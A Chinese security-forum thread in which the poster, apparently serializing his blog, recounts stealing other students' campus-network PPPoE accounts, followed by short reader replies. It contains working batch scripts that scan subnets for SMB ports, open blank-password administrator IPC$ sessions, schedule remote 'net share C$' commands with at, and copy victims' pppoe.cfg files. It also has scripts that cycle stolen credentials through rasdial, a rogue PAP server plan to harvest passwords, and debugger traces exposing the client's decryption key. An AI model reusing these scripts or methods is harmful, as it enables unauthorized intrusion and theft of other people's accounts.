能力值:
( LV13,RANK:320 )
26 楼
由于还没能熟悉看雪的编辑器,所以很多格式不能很好的调整过来,希望大家见谅哈,同时,调整了格式的文章更加方便阅读,也欢迎大家来我博客支持一下。原文来自:Tracy'Blog——【校园网那些事 】,等全部写完后,也会把电子稿发布出来的。
另外,也希望大家能够在看文章的同时给出大家宝贵的建议和意见,特别是关于你对那些技术性问题的看法,文章本意是希望能够共同提高~!谢谢大家支持哦。好像非会员不能回帖吧,那希望能去我博客留言一起交流哦~ Chapter 9——第一次利用之自动拨号
在chapter8中,我很幸运的找到了方法把校园网账号的真实密码找到了,也看得出程序是只对密码进行加密(这也验证了马克思原理中的实践与认识的关系,即:实践→认识→再实践→在认识),同时,我们用hook得到的真实密码直接在宽带连接里面拨号,发现是可以成功的。那么,它的加密算法是什么呢?如何解密呢?于是乎,我们把密码设置为1拨号一次,12拨号一次,……如此之后得到0-9是个数字的密文。如下:
0→48 1→c8 2→49 3→c9 4→58 5→d8 6→59 7→d9 8→68 9→e8
对着上面这串东西,我左看右看就是看不出算法,唯一可以推出个位是8899的循环,然后十位是4c4c5d5d6e6e7f7f8g8g9h9h。那9后面应该是什么呢?不得而知也。当然,这也不是我们这一章要说的东西。只是在这里做个引子,后面会讲到如何找出它的加密算法。
而前面被我们否决的chapter5中的第二个思路,现在也可以利用了,当然,这个也不是我们这章要说的东西。
还记得在【进阶篇】chapter4中提到的一个纠结的事情么?是的,里面有想过写一个循环拨号软件,而且,在其中还曾抱怨过没有真实的密码。但是现在不同了,我们找到了这一个密码,那么,后面的事情就是写出这么一个软件了。
于是,再次很无奈的把盗取获得的一个个pppoe.cfg改好名字,然后放到目录下面,一个个点击拨号,然后把真实的账号密码保存到一个txt文件中。之后就开始写软件了,那么,第一个问题是,这个软件的主要目的是什么呢?它应该要实现这么一个功能:把所有盗取的账号一次拨号,如果拨号不成功则换下一个账号,else退出程序。
So,有了需求了,下一个问题是,用什么语言来写呢?想一想自己会的东西也不多,就那么几个脚本语言,一个c一个vb,其余的也就停留在看得懂改的出的程度上。正在纠结的时候突然想起在windows下不是存在这一个叫做rasapi32.dll的库用来控制网络连接的么?百度一下看看,发现百度百科里面什么都没找到。唔,在我熟悉的两个语言里面调用拨号好像都跟rasdial有关,于是先看看cmd下能否运行呢。在命令提示符中敲入:rasdial /?弹出下面的提示。
那就是说存在这么一条命令咯。用法就是:rasdial “宽带连接的名字” 用户名 密码,也不知道对不对,于是拿了一个账号密码测试,发现成功了。也就是说,可以用命令来实现咯。可以拨号了,剩下的就是依次循环了。
在前面的文章中就有讲解过用for命令来遍历本地磁盘目录获取pppoe.cfg的做法,同时也了解了for命令的用法,于是,在这里就变得得心应手起来。花了近三个小时,各种调试后,写下了如下的可用代码:
以下是connect.bat文件中的内容:
::N代表读取文件中的账户的行数 ::P代表读取文件中的密码的行数 ::B代表手中有的账号数 @echo off setlocal enabledelayedexpansion :: 变量延迟的启动 set N=-1 ::变量N初始化为1 set B=0 :continue ::continue子函数 set /a N+=2 ::N每次递增2 set /a P=N+1 set m=0 ::m、q为for循环中的控制变量 set q=0 for /f "delims=" %%i in (pppoey.txt) do (set /a m+=1 & set /a q+=1 echo !m! & if %n%==!m! set nam=%%i & echo !nam! echo !q! & if %p%==!q! set pas=%%i & echo !pas! ) ::此处的for中以空格为间断点,依次从pppoey.txt中读取用户名和密码,存放到i和q中,并传递给nam,pas。 rasdial "PPPOE-Realtek RTL8169-8110 Family Gigabit Ethernet NIC" !nam! !pas! 1>nul ::此处实现拨号。若不成功,则执行set /a B+=1那条语句和后面的语句 2>nul && exit ::若成功则退出程序,此时已经拨上号了. set /a B+=1 if %B% lss 10 goto continue ::这里应该是当时总共盗取了是个账号,然后如果数字小于10,则继续拨下一个账号 echo 没有可用的号子了,你得工作了!!! ::如果都没拨上,则提示 pause
貌似是可以实现了哈,但那时不懂什么叫做程序员不能有洁癖。看着这么老长的脚本,看着这么多变量,心想,搞不定哪个变量稍微有问题程序就不能继续使用了。于是,继续想办法精简。这个过程就不写了哈,各种找资料后,又搞了一个多小时,写下了如下代码完美实现所需功能:
@echo off echo 开始拨号咯!!! for /f "delims=, tokens=1,2" %%i in (pppoe.txt) do echo %%i&rasdial "connect" %%i %%j 1>nul 2>nul && exit echo "没有可用的账号了,该工作了!!!" pause
也就是说,上面那段代码中所有的功能,在这里精简为一条语句:
for /f "delims=, tokens=1,2" %%i in (pppoe.txt) do echo %%i&rasdial "connect" %%i %%j 1>nul 2>nul && exit
来给你解释解释吧,for命令按照“,”pppoe.txt中截取两个变量分别赋值给i和j,然后在用rasdial进行拨号,不成功则继续下一行,成功则退出,此时电脑已连接上。当然前面那句echo %%i是为了让我们了解到现在在用拨那个号,不至于无声操作。
当然,在pppoe.txt中我们的用户名和密码必须是按照如下格式保存的:
用户名1,密码1 用户名2,密码2 ……
就这样,我成功的解放了双手,不用再每次都那么傻乎乎的去改名字了。当然,在重新盗取了账号的情况下,还是得一个个文件进行改名,然后在复制粘贴。虽然繁琐但却比先前减少了不少的工作量。但这个过程还是重复的,也就是说我们还可以通过其他办法把这一步也给它简化掉。当然,后文会给出方法的,这里也是一个引子。
那么,这个过程中,我学会了什么呢?嗯,对for的使用更加熟练了,要知道windows的各种命令中,for的命令算是很复杂的一个了。还有呢?嗯,解放了双手。但是,每次盗号都得自己去慢慢实现,似乎有点累哈……
能力值:
( LV12,RANK:400 )
27 楼
先支持,有空再来学习。
能力值:
( LV13,RANK:320 )
28 楼
呵呵 欢迎捧场哈。。。
能力值:
( LV2,RANK:10 )
29 楼
学习了 ! Thanks a lot for the share !
能力值:
( LV13,RANK:320 )
30 楼
呵呵 记得接着看下去哈,也记得给点技术指引哦。
今天可能要晚些才能更新了,家里才来电。。。
能力值:
( LV2,RANK:10 )
31 楼
非常不错啊,学习了,写的很好~~~
能力值:
( LV13,RANK:320 )
32 楼
由于还没能熟悉看雪的编辑器,所以很多格式不能很好的调整过来,希望大家见谅哈,同时,调整了格式的文章更加方便阅读,也欢迎大家来我博客支持一下。原文来自:Tracy'Blog——【校园网那些事 】,等全部写完后,也会把电子稿发布出来的。
另外,也希望大家能够在看文章的同时给出大家宝贵的建议和意见,特别是关于你对那些技术性问题的看法,文章本意是希望能够共同提高~!谢谢大家支持哦。好像非会员不能回帖吧,那希望能去我博客留言一起交流哦~ Chapter 10——自动盗号1.0
前面写到哪了?嗯,翻翻,哦,找到了,到开始埋怨每次盗号都得去手动了。哎,人懒就是没办法,不过,世界上很多很好的发明不都是懒出来的么?不可否认,懒也能带来创造力。那么,怎么实现自动盗号呢?先来回顾一下前面的盗号原理。
流程如下: 1. 得到可建立ipc$空连接的ip 2. 建立连接 3. 查看是否有默认共享 a. 有→直接打开共享 b. 没有→则手动建立共享 4. 得到文件pppoe.cfg
是的,没错,我们要得到的就是这个pppoe.cfg。这个就是我们盗号的终极目标。首先得是目标ip了,还得是可建立ipc$空连接的ip。先前是手动,通过一些扫描器来扫描得到ip然后……,那么现在要转换为自动了,我们该怎么实现呢?第一步,我们得知道校园网用的ip段是哪些?打开s扫描器花了个把两个小时对10.0.0.0-10.255.255.255一顿狂扫,只找在线的主机。大致确定了如10.0.48.0-10.0.51.255等11个ip段。之后呢?我们要做的就是在这么些个被分配的ip段里面找出可用ip了(至于为什么先确定可分配的ip段这个就不要解释了吧)。
在前面的关于ipc的介绍中,我们可以知道ipc连接建立有个条件就是打开一些端口。所以我们为了提高可用ip的准确度,直接用s扫描器对常用网段扫139端口,一是为了确定存活主机,二十为了提高ipc空连接建立的成功率。那么我们还是用命令来写吧。所以这第一条语句就是:
s.exe tcp 10.0.48.0 10.0.49.255 139 800 /save
也就是用s.exe对 10.0.48.0-10.0.49.255这个段的TCP的139端口进行扫描,线程是800,同时保存扫描结果,扫描结果即开放了139端口的ip。
那么如此我们就得到了现在处于活跃状态的而且开放了139的ip。下一步就是看能不能建立ipc$空连接了,能建立的话就直接复制。因为我暂时还没找到能代替手动打开共享的命令,所以我们只能放弃那些未打开的,而且放弃那些账户不是administrator和密码不为空的机器。因为我们只能想办法去尽量的提高效率但不能完美的实现。
于是,我们用下面的语句来实现那些要求:
for /f "delims= tokens=1" %%i in (result.txt) do net use \\%%i\ipc$ "" /u:administrator 1>nul 2>nul && copy /y "\\%%i\c$\program files\PPPoe Supplicant\pppoe.cfg" %%i.cfg ||echo %%i net use * /del /yes
意思是:在s.exe扫描生成的result.txt中获取每一行的第一个以空格为分界点的字符串(即ip),执行以默认账户密码建立空连接的命令,如果不成功则下一行并显示当前此次试图建立连接的ip地址,如果成功则默认复制c$\program files\PPPoe Supplicant\pppoe.cfg到当前文件夹并命名为“ip”.cfg。
这样就实现了自动入侵并得到文件。于是,把上面那几条语句全部整合到一起,命名为hack.bat。然后满心欢喜的双击开始扫描运行了。发现,一般扫完11个网段是几乎不可能的。而且效率及其的底下,有时甚至一两个小时才只能盗取到那么几个账号。远不如手动的效率高。
那,问题在哪呢?
Chapter 11——自动盗号1.1
简单的分析了一下,首先,装好系统后ipc默认共享连接是打开的的机器占总数的2/3,这没问题,因为大多系统装好后是没有关闭的,那么问题不在这。其次,平时开防火墙的机器大概占1/10,几乎很少有看见打开防火墙了的,问题也不在这。再次,账号密码没有改动的占8/10,显然这个也不是问题。最后,开了c$共享的机器,那就是真的少之又少了,因为有电脑的大多数都会用360卫士体检一番,然后360也会很配合的告诉你,你的C$、D$、E$、F$打开了,有风险,然后问你要不要关闭,傻子都会点关闭。所以呢,造成前面那个版本自动盗号器效率低下的主要原因就在这里了。
所以,想提高盗号效率,要解决的首要问题就是,怎么在确定可以建立ipc$空连接后,打开该主机的c盘共享。手动操作早就实现了。既然现在是要实现自动盗号,那肯定不能是继续手动开共享了。那又该怎么实现呢?
首先想到的还是命令,因为,整个盗号器都是bat程序。想来想去,想到了高中时为了获得龙域网安邀请码时写下的一篇局域网入侵的文章(貌似之后还真的得到了邀请码)里的东西,恩,是的那就是at命令。
At命令,我平时都是用来实现定时关机的(ps:win8下貌似用另外一个高级的程序取缔了at.exe,让我很是郁闷),当然,它也有远程控制的作用,让我们来看看吧。命令提示符下敲at /? 、回车。
所以,我们要用的语句就是:
At \\ip 时间 “要执行的命令”
另外,关于建立ipc空连接还有些事情要说明的。首先,必须要有139、445这两个端口是打开的,而且在会话过程中如果 445 端口有响应,那么就发送 RST 包给 139 端口断开连接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,如果两个端口都没有响应,则会话失败;也就是说445端口相对来说的成功率更高。
所以,为了提高效率我们上一个版本的bat中扫的139要换为445了。
那么我们的这个版本的代码是:
@echo s.exe tcp 10.0.48.0 10.0.49.255 445 500 /save for /f "skip=2 tokens=1 delims= " %%i in (result.txt) do net use \\%%i\ipc$ "" /u:administrator 1>nul 2>nul && echo %%i>>rou.txt net time \\127.0.0.1 /set /y >nul for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hour=%%i && set /a minute=%%j set /a Rminute=%minute%+10 for /f "delims= tokens=1" %%i in (rou.txt) do at \\%%i %hour%:%Rminute% net share C$=C: echo 当你桌面右下角时间超过了%hour%:%Rminute%时。再按任意键。 Pause for /f "delims= tokens=1" %%i in (rou.txt) do copy /y "\\%%i\c$\program files\PPPoe Supplicant\pppoe.cfg" %%i.cfg del rou.txt net use * /del /yes pause
是不是发现多了很多东西啊,没事,咱慢慢解释。
第一句关闭回显以后就不解释了哈。
第二句是用s扫描器来对一个网段进行扫描(当然,你可以复制粘贴多几行来实现多个网段扫描)。
第三句是在result.txt中从第二行开始(由s扫描器生成的result.txt中的格式决定的,它的第一行是标题不是ip。)一次取出ip地址,执行net use \\ip\ipc$ 的命令来检测是否可用默认用户名和密码建立空连接,如果可以建立则把该ip地址追加到rou.txt中。
第四句是设置本机当前时间,因为at命令它涉及到时间了,而且是远程主机的当地时间、
第五句是从时间命令time执行的结果中获取“时”、“分”,分别赋值给变量hour和变量minute。
第六句是把minute的值加上10赋给Rminute。因为,at是定时功能,到达某一时刻执行,它不可能用以前的时间和当前的时间,所以要用将来时,于是给它加上10分钟的缓冲器,但是后来的实践发现,这里忽略了一个bug,就是到分钟为50以上时,再加十分钟就让机器不知该如何处理了,不过,鉴于影响不大,我也就一直没去修正它了。
第七句就是依次对rou.txt中存放的ip地址执行at命令,让他在本机时间加上10分钟的时候以C$为名字奉献出它宝贵的C盘。这一步是为了获得c盘里面的东西,可能你会说有些人软件是装在其他盘的,当然不排除,但是呢,咱还是不要有洁癖吧,只考虑c。
第八句作为交互进行显示而已。
第九句,暂停,提示按任意键继续,当时间超过显示的时间时,按下。
第十局则是核心语句,对那些可能执行了共享c盘的主机进行搜刮,把pppoe.cfg拿出来。
第十一句删除此次盗号生成的rou.txt。
第十二句删除所有建立了的连接,不过这里貌似还有个问题,我们在扫描的时候了建立的连接,然后等扫描全部进行完了,才用at命令,要知道at命令要在远程执行得有ipc的权限,然而,这个空连接建立好了又不是不会自动断开,时间久了没动静会断开,建立多了也会断开,另外不担保这段时间里主机已经关机了。
所以,虽然用12句话给它搞定了,但是要考虑的事情还很多,不可能面面俱到。不过,实践证明,这个方案比前面的1.0的确效率提高了不少。
但是呢,还有个问题,就是at命令对远程主机的时候会出现绑定句柄无效的错误提示,这个在我高中那会儿是很少出现的。很是不解,网上请教高手也没有同意答复,于是,各种找答案后,发现,微软为了防止利用at进行此类攻击在某个时刻发布了一个补丁,打上了这个补丁的主机均不能用at对远程计算机操作。
于是,果断的换系统,网上找了个最久远的镜像,装上,扫描。还是很有收获的哈。不过,这个从一个个主动去盗号的方法也还是不能满足我的欲望啊,怎么办呢?
能力值:
( LV13,RANK:320 )
33 楼
额。感觉,大家对这类文章不怎么感兴趣哈。
不过,没关系的,马上就到实战破解片段了。。。
能力值:
( LV2,RANK:10 )
34 楼
写的很好,一直在看,再次感谢!
能力值:
( LV2,RANK:10 )
35 楼
哇咔咔,不知道初装的路由器配置
是不是需要账户密码来结合上网。。。
哈哈,总感觉单位或者公司服务器是不需要通过用户来联网的
总感觉服务商配置的,就忽略掉过程了。。。。
能力值:
( LV2,RANK:10 )
36 楼
可能"校园网"主题立项不能充分引起关注;也可能,大家更关注破解篇
我个人还是要支持的,写的很详细,很不错.
记得我们当时校园网登录的账号还和mac地址绑定,同一帐号,用不同的mac地址,是无法登录的,相当之恶心啊
能力值:
( LV13,RANK:320 )
37 楼
由于还没能熟悉看雪的编辑器,所以很多格式不能很好的调整过来,希望大家见谅哈,同时,调整了格式的文章更加方便阅读,也欢迎大家来我博客支持一下。原文来自:Tracy'Blog——【校园网那些事 】,等全部写完后,也会把电子稿发布出来的。
另外,也希望大家能够在看文章的同时给出大家宝贵的建议和意见,特别是关于你对那些技术性问题的看法,文章本意是希望能够共同提高~!谢谢大家支持哦。好像非会员不能回帖吧,那希望能去我博客留言一起交流哦~ Chapter 12——还是盗号
先前的几个与盗号相关的都是针对客户端的一些漏洞去获取的,而且,是一个个的去得到的,怎么都感觉不如一批批的获得来得爽啊,那,怎么去批量获得呢?入侵服务器?别想了,校园网论坛你都暂时没搞定,况且,那啥服务器是话说我们学校最牛的那个传说中中国黑客五十强那人给配置好的,曾经找教务管理系统的漏洞,找来找去所有可利用的都打好补丁了,真不愧是高手。貌似有点扯远了哈,嗯,回到主题。主题是什么来着?哦,批量盗号,也就是想办法去获得更多的账号密码。
还是先分析下吧,信息泄露的三个地方:个人客户端、传输介质、服务端。个人客户端已经考虑过,服务端呢又没法下手。于是,转过来看看传输介质这一块,或许,你会说,嗅探不是在前面用到过了么?不是不能得到真实的密码了么。的确如此啊,不过,我总觉得这里应该还是可以发起一个什么攻击来着,恩,伪造。
先跟着我来了解一下pppoe拨号连接这整个流程吧。
下面是我用ethereal拨号时抓包得到的数据拿来分析分析:
(第一栏是数据包序列号、第二栏是截获的时间、第三栏是源地址、第四栏是目的地址、第五栏是协议以及信息,由于截图没截好,所以,描述下)
首先,PPPoE协议的工作流程包含发现和会话两个阶段,发现阶段是无状态的,目的是获得PPPoE服务器的以太网MAC地址,并建立一个唯一的PPPoESESSION-ID(PPPOE会话ID),
在发现阶段,基于网络的拓扑,主机可以发现多个接入集中器,然后允许用户选择一个 。发现阶段结束后,就进入标准的PPP会话阶段。
发现阶段有4个步骤:
1. PADI图示步骤1,主机发送广播包PADI寻找接入服务器。主机→服务器。目的地址为广播。
2. PADO图示步骤2和4,服务器收到包后如果可以提供主机要求则回复一个PADO包。为什么有两个呢?有时,
网络上有不止一个服务器 。服务器→主机。
3. PADR图示步骤3,主机在回应PADO的接入服务器中选择一个合适的,并发送PADR告知接入服务器,PADR中必须声明向接入服务器请求的服务种类。主机→服务器。
4. PADS图示步骤5接入服务器收到PADR包后开始为用户分配一个唯一的会话标识符Session ID,启动PPP状态机以准备开始PPP会话,并发送一个会话确认包PADS。服务器→主机。
主机收到PADS后,双方进入PPP会话阶段。在会话阶段,PPPoE的以太网类域设置为0x8864,CODE为0x00,Session ID必须是发现(Discovery)阶段所分配的值。
PPP会话阶段主要是LCP、认证、NCP 3个协议的协商过程,LCP阶段(图示步骤6-12)主要完成建立、配置和检测数据链路连接,认证(图示步骤13-19)协议类型由LCP协商(CHAP或者PAP),NCP(图示步骤20-27)是一个协议族,用于配置不同的网络层协议,常用的是IP控制协议(IPCP),它负责配置用户的IP和DNS等工作。
其中,CHAP是一种加密的验证方式,能够避免建立连接时传送用户的真实密码。NAS向远程用户发送一个挑战口令(challenge),其中包括会话ID和一个任意生成的挑战字串(arbitrary challengestring)。远程客户必须使用MD5单向哈希算法(one-way hashing algorithm)返回用户名和加密的挑战口令,会话ID以及用户口令,其中用户名以非哈希方式发送。所以,我们通常抓到的VALUE值是没什么用的。而PAP则是明文传输,直接显示账号密码。
注意我加上红色的那几句话,是的,网络上不止有一个服务器。这是不是一个突破口呢?正如我们所知,学校用的是CHAP认证,但是呢,在LCP协商的过程中,是看服务器的配置是何种加密算法再去选择。所以,问题来了,我们要做的就是,搭建一个PPPOE服务器,把认证方式设置为PAP,然后,对自己的网卡嗅探,不就可以实现批量获取了么。只要有人拨号,前提是选择的是我搭建好了的服务器,那么他就会乖乖的把自己的账号密码发送过来请求验证。然后我们就直接可以得到这些个账号密码了。
恩,理论上是这个样子的,也没错,于是,百度如何搭建服务器。推荐给大家一篇很好的博文
http://wengjingzhiwu.blog.163.com/blog/static/1904092722009934350200 /。之后呢,花了点时间搭好了。很开心的打开ethereal,选好网卡,点击截获,为了测试,故意跑到室友那里拨号测试,完了回来一看,嘿,还真可以,这可把我高兴坏了。于是,电脑丢这里截获,自己先去忙些其他的,网上看了下有人要帮忙p一张手绘图片,反正闲着无聊等账号上钩就p了一下。大家看文也看累了,拿出来让大家眼睛休息休息。
不过p来p去,倒感觉不像了。
嗯,过了一俩小时了,回来看看抓到了些什么,是兔子呢?还是狐狸……打开一看,额,傻眼了……什么都没有,是配置出问题了么?还是刚好这段时间没人拨号呢?我更怀疑前者,不可能没人拨号,那,是不是我搭建的服务器的优先级不够,他们都跑到真正的服务器上去了呢?恩,也有可能。那么问题是,客户端是通过什么算法来决定选谁的呢?
距离?性能?带宽?时延?还是什么指标?额,不得而知也。网上给的答复是,选择最近的,这个最近貌似很有学问。怎么才算是最近的。而且,看看以前画的那个拓扑图,觉得,我们本楼栋的电脑访问我搭建的服务器比学校服务器要快吧。到底问题在哪呢?
想了很久很久,最终,只把这次实践当做一次学习,没有深究下去了。然后在后面考研看专业课的时候想通了。
很简单的一个原理,就是,路由器不转发广播数据包,而我们的pppoe发现阶段刚开始就是用的广播发现数据包。So,这件事就这样了。那么你可能会问,那为什么同一网段的可以呢?听着,在同一局域网内,所谓的广播,就是客户端发送一个地址为广播地址的数据包,然后呢?在网络中,不管地址指向哪,只要是同一个局域网中,所有的人都会收到数据包,然后网卡看目的地址是不是自己,不是的话,就丢弃,是的话就拿过来。于是,在广播的过程中,广播地址是可以被任何主机接受的,但是呢,他们只是光顾着接受,如果自身没有对应的服务提供,他们也不会返回一些值。
但是,学校的主机也不是跟我们的电脑在同一个局域网啊,为什么它可以收到我们的广播数据包呢?那就是路由器的设置了。所以,我们要解决的主要问题就是这个路由了,路由的问题在后面还困扰着我,还有一个问题也要解决广播数据包的事。
可以说,这是一次不怎么成功的尝试吧,不过,也还算好,学到了不少东西~~~马上就要进入【高级篇】了。
能力值:
( LV13,RANK:320 )
38 楼
恩恩,有大家的支持,我会坚持写下去的。
能力值:
( LV13,RANK:320 )
39 楼
那是用账号和密码通过路由直接拨号了,这也是路由器的一个作用,省去了你很多事。
能力值:
( LV13,RANK:320 )
40 楼
呵呵 ,应该是这个样子的吧。
据我所知,电信就是用的账号绑定网卡。要换机器还得打电话给1000要他刷新账号……
能力值:
( LV4,RANK:50 )
41 楼
Thanks for share.
能力值:
( LV2,RANK:10 )
42 楼
我之前有一个路由器怎么也拨不上去号,笔记本自带的宽带连接就可以,给电信打电话,他们工程师就说是我的设置有问题,我问他什么问题他又不肯说,搞的很郁闷,后来路由器克隆了笔记本的MAC就可以了。。。
能力值:
( LV2,RANK:10 )
43 楼
Thanks
能力值:
( LV13,RANK:320 )
44 楼
嘿嘿,都这样的,他说了不就给自己找麻烦啊。我们一般直接打10000转人工,然后要求刷新账号状态。
能力值:
( LV13,RANK:320 )
45 楼
由于还没能熟悉看雪的编辑器,所以很多格式不能很好的调整过来,希望大家见谅哈,同时,调整了格式的文章更加方便阅读,也欢迎大家来我博客支持一下。原文来自:Tracy'Blog——【校园网那些事 】,等全部写完后,也会把电子稿发布出来的。
另外,也希望大家能够在看文章的同时给出大家宝贵的建议和意见,特别是关于你对那些技术性问题的看法,文章本意是希望能够共同提高~!谢谢大家支持哦。 【校园网那些事 —— 高级篇】
Chapter 1——加密解密之3DES算法
还记得先前我们一直在做的一件事情么?恩,盗号,这些看起来很久很简单的方法对于不在意网络安全的那部分人来说还算是致命的,讲了那么久的攻击,其实防范也很简单,在前面的原理分析中都附有了防范的方法,赶紧回去给自己加固吧。
盗号无非就是获得我们想要的pppoe.cfg了,恩,然后,我们再一个个的改名放入带有hook过的dll文件的文件夹下,运行拨号程序,弹出我们的真实密码,然后记录起来。神马?一个个改名?又是一个个改名?我们是这一步完全可以省略掉不是么?嗯,那么,我们今天要做的解决这个问题。
还记得曾经的某一个猜想么?就是,pppoe.cfg中是存放用户名和密码的,那么具体是真实密码还是原始密码呢?是啊,这个文件是干嘛用的啊?
打开OD装载程序,对文件操作,哦,对文件,那么下断点吧,是用的什么断点呢?额,于是习惯性的找出C32asm来配合,用C32asm打开客户端程序(后文简称:蝴蝶.exe),Ctrl+I打开导入表这一栏,然后搜索框中搜一下CreateFile居然没发现?然后试了下其他的有关File方面的搜索,都没找到什么可用的api调入,先不管,直接在命令框输入:bp CreatefileA又没出错,那就证明断下来了。可是为什么在C32下没显示呢?现在都还没搞清楚。
之后,我们F9让它跑起来,发现程序依次读取了下面这些文件:
0012DB3C 0012EC70 p?. |FileName = "C:\WINDOWS\pinfo.txt"
0012F294 0012F428 (?. |FileName = "C:\WINDOWS\pcheck.txt"
0012F2A8 0012F43C <?. |FileName = "C:\WINDOWS\pauthip.txt"
0012F4B0 0012FB48 H?. |FileName = "J:\校园网\拨号\
pppoe.cfg "
嗯哼,到了,要的就是你了,不对,这个过程它是在读取,读取的过程中要把里面的信息显示到UI中,应该要对它解密吧,我们接着看看Alt+F9回到程序领空,在前面那个Call那里F2断下,方便下次直接跟进。之后F7,一直跟下去。
发现,在00402893 call Tracy.004038F0执行后。堆栈中出现了我们pppoe.cfg保存的账号和密码。那也就是说,在我们摁下F2下断点的地方到00402893中间,肯定有一个对文件内容解密的一个函数被调用了。恩,返回突然间就缩小了。重载程序再来分析。
用为了方便我们识别pppoe.cfg中的内容,我们用WinHex打开文件。看到了下面的东西:
看一下,留个印象就行了,反正对着它是看不出什么的。这下可以取消刚才的CreatFileA断点了,直接运行到00423415 call dword ptr ds:[<&kernel32.CreateFileA>] ; \CreateFileA处,然后看代码:
以下是代码片段:
00423415 |. FF15 C4014300 call dword ptr ds:[<&kernel32.CreateFileA>] ; \CreateFileA 0042341B |. 83F8 FF cmp eax,-1 0042341E |. 75 28 jnz short Tracy.00423448 00423420 |. 8B75 10 mov esi,dword ptr ss:[ebp+10] 00423423 |. 85F6 test esi,esi 00423425 |. 74 1D je short Tracy.00423444 00423427 |. FF15 D0014300 call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError 0042342D |. 50 push eax 0042342E |. 8946 0C mov dword ptr ds:[esi+C],eax 00423431 |. E8 93500000 call Tracy.004284C9 00423436 |. FF75 08 push dword ptr ss:[ebp+8] 00423439 |. 8D4E 10 lea ecx,dword ptr ds:[esi+10] 0042343C |. 8946 08 mov dword ptr ds:[esi+8],eax 0042343F |. E8 28FAFFFF call Tracy.00422E6C 00423444 |> 33C0 xor eax,eax 00423446 |. EB 08 jmp short Tracy.00423450 00423448 |> 8946 04 mov dword ptr ds:[esi+4],eax 0042344B |. 895E 08 mov dword ptr ds:[esi+8],ebx 0042344E |. 8BC3 mov eax,ebx 00423450 |> 5F pop edi 00423451 |. 5E pop esi 00423452 |. 5B pop ebx 00423453 |. C9 leave 00423454 \. C2 0C00 retn 0C
其中0042341E的jnz是判断是否读取成功,成功则跳,所以我们就到了00423448了,然后后面都是堆栈恢复,retn跳出来之后的代码如下:
以下是代码片段:
0042324A |. 85C0 test eax,eax 0042324C |. 75 0E jnz short Tracy.0042325C 0042324E |. FF75 EC push dword ptr ss:[ebp-14] 00423251 |. FF75 E8 push dword ptr ss:[ebp-18] 00423254 |. FF75 E4 push dword ptr ss:[ebp-1C] 00423257 |. E8 02520000 call Tracy.0042845E 0042325C |> 897D DC mov dword ptr ss:[ebp-24],edi 0042325F |. 8D4D EC lea ecx,dword ptr ss:[ebp-14] 00423262 |. C645 FC 05 mov byte ptr ss:[ebp-4],5 00423266 |. E8 BCFAFFFF call Tracy.00422D27 0042326B |. 8B4D F4 mov ecx,dword ptr ss:[ebp-C] 0042326E |. 8BC6 mov eax,esi 00423270 |. 5F pop edi 00423271 |. 5E pop esi 00423272 |. 64:890D 00000>mov dword ptr fs:[0],ecx 00423279 |. C9 leave 0042327A \. C2 0800 retn 8
0042324C的jnz是判断前一call是否成功运行,成功则跳转到0042325C,来到00423266的这个call处,刚跟过来后没发现什么这个call中出现什么异常,所以直接F8过。
又一个retn后:
以下是代码片段:
0040282B |. B9 00010000 mov ecx,100 00402830 |. 33C0 xor eax,eax 00402832 |. 8DBD C4F9FFFF lea edi,dword ptr ss:[ebp-63C] 00402838 |. C645 FC 03 mov byte ptr ss:[ebp-4],3 0040283C |. F3:AB rep stos dword ptr es:[edi] ; 清空堆栈 0040283E |. 8B45 E0 mov eax,dword ptr ss:[ebp-20] 00402841 |. 8D4D DC lea ecx,dword ptr ss:[ebp-24] 00402844 |. 3BC3 cmp eax,ebx 00402846 |. 75 0A jnz short Tracy.00402852 00402848 |. E8 080D0200 call Tracy.00423555 0040284D |. E9 F9000000 jmp Tracy.0040294B 00402852 |> E8 DD0D0200 call Tracy.00423634 00402857 |. 8BF0 mov esi,eax 00402859 |. 83FE 0C cmp esi,0C 0040285C |. 7C 47 jl short Tracy.004028A5 0040285E |. 81FE 00040000 cmp esi,400 00402864 |. 76 05 jbe short Tracy.0040286B 00402866 |. BE 00040000 mov esi,400 0040286B |> 8D8D C4F9FFFF lea ecx,dword ptr ss:[ebp-63C] 00402871 |. 56 push esi ; /Arg2 00402872 |. 51 push ecx ; |Arg1 00402873 |. 8D4D DC lea ecx,dword ptr ss:[ebp-24] ; | 00402876 |. E8 DC0B0200 call Tracy.00423457 ; \Tracy.00423457 0040287B |. 6A 01 push 1 0040287D |. 6A 12 push 12 0040287F |. 68 E0B04300 push Tracy.0043B0E0 ; ASCII "0herolibamtium0" 00402884 |. 8D95 C4F9FFFF lea edx,dword ptr ss:[ebp-63C] 0040288A |. 56 push esi 0040288B |. 8D85 C4F9FFFF lea eax,dword ptr ss:[ebp-63C] 00402891 |. 52 push edx 00402892 |. 50 push eax 00402893 |. E8 58100000 call Tracy.004038F0
我们看到了得到账号密码的00402893处。
那么范围又缩小了,一直跟,过到00402852还是没发现什么猫腻。恩,于是来到0040287F处前面两个传参,肯定有问题,看了下:
2A十六进制,化成十进制那就是42,哦,42,嗯?回到刚winhex的那张图片,数据的总位数不也是42么?嘿,没猜错的话,这一段应该是对文件操作,先不管它做了什么,Arg1不就是刚开辟的那块堆栈么?这其中肯定有一些不可告人的秘密,右键,数据窗口中跟随。然后果断F8过掉这个Call,再看看发生了什么。
来,跟上面WinHex的图片对比一下。哦,原来他是读取的作用哦。存放在这里,那么,怎么放这里干嘛呢?谁又对它操作了呢?来到54上面,右键,硬件访问断点(Ps:其实也没必要,因为过掉后面一个Call后,里面就解密了。下这个断点是为了方便大家以后跟踪的时候多一种思路)。
咦?跟着这个伟大发现的Call后面又是一对push,总共传了六个参数,这个中间有间隔还是什么原因,OD没发现。
以下是堆栈中六个参数:
0012F620 0012F644 D?. 0012F624 0012F644 D?. //地址 0012F628 0000002A *... //长度 0012F62C 0043B0E0 喟C. ASCII "0herolibamtium0" //密钥 0012F630 00000012 ... 0012F634 00000001 ...
嗯,先过掉紧跟在后面的Call,看看有什么变化没,不过,记得及时下断,免得等下又得跟来跟去。F8,发现这段堆栈的内容变了。
出现了我们的输入保存起来的账号密码,那也就是说,00402893这个Call就是我们的解密Call了。
OK,慢慢清晰起来了,再次重载,直接断在00402893处。这次不F8了,换F7进去。
发现了一段很好识别的函数段:
以下是加密函数代码片段:
